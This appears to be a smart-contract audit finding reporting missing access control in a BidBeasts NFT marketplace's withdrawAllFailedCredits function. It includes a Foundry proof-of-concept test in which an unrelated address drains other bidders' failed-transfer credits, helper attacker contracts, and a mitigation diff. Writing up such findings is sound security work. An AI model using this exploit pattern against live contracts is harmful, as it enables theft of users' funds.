Root + Impact
Broken Withdraw Logic Allows anyone to withdraw funds from the protocol, whether they have used the protocol or not.
Description
In withdrawAllFailedCredits there is lack of proper check to restrict who can withdraw failed credits from the protocol. The function allows anybody to withraw funds from the protocol, by specifying an address from the failedTransferCredits mappings
Risk
Likelihood:
Impact:
Proof of Concept
function testAnyoneCanWithdrawFailedCredits() public warmMarket {
address griefOwner = makeAddr("griefOwner");
vm.deal(griefOwner, 2 ether);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 0.1 ether}(TOKEN_ID);
vm.startPrank(griefOwner);
GriefBidder grief = new GriefBidder{value: 2 ether}(address(market));
grief.buyNftNow(TOKEN_ID);
vm.stopPrank();
vm.startPrank(BIDDER_2);
Bidder bidder = new Bidder{value: 4 ether}(address(market));
bidder.buy(TOKEN_ID);
vm.stopPrank();
vm.prank(BIDDER_1);
market.placeBid{value: market.getListing(TOKEN_ID).buyNowPrice}(TOKEN_ID);
address randomFreeLoader = makeAddr("randomFreeLoader");
uint256 freeLoaderBalanceBefore = randomFreeLoader.balance;
vm.startPrank(randomFreeLoader);
market.withdrawAllFailedCredits(address(bidder));
market.withdrawAllFailedCredits(address(grief));
vm.stopPrank();
assertEq(freeLoaderBalanceBefore, 0);
assertEq(randomFreeLoader.balance, 6 ether);
}
contract GriefBidder {
BidBeastsNFTMarket market;
constructor(address _market) payable {
market = BidBeastsNFTMarket(_market);
}
function buyNftNow(uint256 tokenId) public {
market.placeBid{value: 2 ether}(tokenId);
}
function pwn(address _address) public {
market.withdrawAllFailedCredits(_address);
}
receive() external payable {
if (msg.value <= 2 ether) {
revert();
}
}
}
contract Bidder {
BidBeastsNFTMarket market;
constructor(address _market) payable {
market = BidBeastsNFTMarket(_market);
}
function buy(uint256 tokenId) public {
market.placeBid{value: 4 ether}(tokenId);
}
}
Recommended Mitigation
Refactor withdrawAllFailedCredits to reflect these changes:
function withdrawAllFailedCredits(address _receiver) external {
+ require(failedTransferCredits[msg.sender] != 0 , "You can't withdraw");
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}